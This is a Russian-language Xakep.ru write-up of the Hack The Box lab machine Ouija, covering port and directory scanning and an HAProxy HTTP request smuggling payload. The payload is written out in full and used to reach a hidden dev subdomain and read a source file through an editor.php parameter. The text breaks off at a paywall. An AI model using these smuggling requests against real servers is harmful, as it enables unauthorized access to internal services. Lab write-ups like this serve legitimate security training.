Цен­траль­ной частью это­го рай­тапа будет повыше­ние при­виле­гий в Linux через модуль PHP — мы про­экс­плу­ати­руем бинар­ную уяз­вимость целочис­ленно­го перепол­нения в нем. На пути к это­му исполь­зуем баг HTTP request smuggling в Haproxy и через LFI про­чита­ем SSH-ключ поль­зовате­ля.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Ouija с учеб­ной пло­щад­ки Hack The Box. Уро­вень ее слож­ности — «слож­ный».

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.244 ouija.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.9p1;
  • 80 — веб‑сер­вер Apache 2.4.52;
  • 3000 — при­ложе­ние Node.js.

На началь­ном эта­пе нам дос­тупно два веб‑при­ложе­ния.

Главная страница сайта ouija.htb
Глав­ная стра­ница сай­та ouija.htb
Главная страница сайта ouija.htb:3000
Глав­ная стра­ница сай­та ouija.htb:3000
 

Точка входа

При прос­мотре исто­рии зап­росов в Burp History мож­но уви­деть зап­рос к домену gitea.ouija.htb.

Burp History
Burp History

До­бав­ляем новый домен в /etc/hosts и прос­матри­ваем дос­тупные неав­торизо­ван­ному поль­зовате­лю репози­тории.

10.10.11.244 ouija.htb gitea.ouija.htb
Главная страница сайта gitea.ouija.htb
Глав­ная стра­ница сай­та gitea.ouija.htb

Дос­тупен толь­ко один репози­торий, опи­сание которо­го рас­кры­вает некото­рые исполь­зуемые тех­нологии. Отдель­но отме­чаем прок­си‑сер­вер Haproxy.

Содержимое репозитория
Со­дер­жимое репози­тория

Так как ничего инте­рес­ного в самом репози­тории най­ти не уда­лось, прис­тупим к ска­ниро­ванию.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов с целью поис­ка скры­той информа­ции и недос­тупной обыч­ным посети­телям фун­кций. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch, dirb или ffuf. Я пред­почитаю feroxbuster.

При запус­ке исполь­зуем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора Seclists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

За­даем нуж­ные парамет­ры и запус­каем ска­нер:

feroxbuster -u http://ouija.htb/ -t 128 -d 1 -w files_interesting.txt
Результат сканирования файлов с помощью feroxbuster
Ре­зуль­тат ска­ниро­вания фай­лов с помощью feroxbuster

Стра­ница server-status содер­жит логи зап­росов. По логам сно­ва дела­ем вывод о прок­сирова­нии на порт 8080.

Содержимое файла server-status
Со­дер­жимое фай­ла server-status

Ана­логич­но ска­ниру­ем и катало­ги на пор­те 3000, где работа­ет API NodeJS.

feroxbuster -u http://ouija.htb:3000/ -t 128 -d 1 -w directory_2.3_medium_lowercase.txt
Результат сканирования файлов с помощью feroxbuster
Ре­зуль­тат ска­ниро­вания фай­лов с помощью feroxbuster

Най­ден­ный стра­ницы сооб­щают либо об ошиб­ке, либо о том, что нуж­ны допол­нитель­ные заголов­ки HTTP.

Содержимое страницы /register
Со­дер­жимое стра­ницы /register
Содержимое страницы /users
Со­дер­жимое стра­ницы /users

То, что мы наш­ли новый под­домен, ука­зыва­ет на то, что их может быть и боль­ше двух. Так что давай рас­чехлим ска­нер fuff и запус­тим со сле­дующи­ми парамет­рами:

  • -u — URL;
  • -w — сло­варь;
  • -t — количес­тво потоков;
  • -H — HTTP-заголо­вок;
  • -fs — филь­тр по раз­меру отве­та.
ffuf -u "http://ouija.htb" -H 'Host: FUZZ.ouija.htb' -t 128 -w subdomains-top1million-110000.txt -fs 10671
Результат сканирования поддоменов
Ре­зуль­тат ска­ниро­вания под­доменов

Все под­домены, содер­жащие подс­тро­ку dev, воз­вра­щают код 403. Это наводит на мысль о том, что исполь­зует­ся филь­тр.

 

Точка опоры

 

Haproxy — HTTP Request Smuggling

Мы зна­ем о том, что исполь­зует­ся Haproxy, а это зна­чит, что для него мож­но поис­кать готовые экс­пло­иты. Про­ще все­го это делать в Google.

Поиск эксплоитов Google
По­иск экс­пло­итов Google

В пер­вом най­ден­ном репози­тории находим PoC.

PoC запрос
PoC зап­рос

Вы­пол­няем подоб­ный зап­рос, но в качес­тве целево­го адре­са ука­зыва­ем сайт на домене dev.

POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:  
Content-Length: 38
GET http://dev.ouija.htb/ HTTP/1.1
h:GET / HTTP/1.1
Host: ouija.htb
Запрос на сервер
Зап­рос на сер­вер

И в отве­те получа­ем две стра­ницы сра­зу: ouija.htb и dev.ouija.htb. На вто­рой — два фай­ла. Заг­ружа­ем их зап­росами вро­де сле­дующе­го:

POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:  
Content-Length: 60
GET http://dev.ouija.htb/editor.php?file=app.js HTTP/1.1
h:GET / HTTP/1.1
Host: ouija.htb

Файл app.js — это исходный код при­ложе­ния, которое работа­ет на пор­те 3000. API /file/get пред­став­ляет инте­рес (стро­ки 58-76), хотя и содер­жит филь­тр, который дол­жен пре­дот­вра­тить локаль­ное вклю­чение фай­лов (LFI). Наша глав­ная проб­лема — в аутен­тифика­ции, которую нуж­но прой­ти, не зная учет­ные дан­ные.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии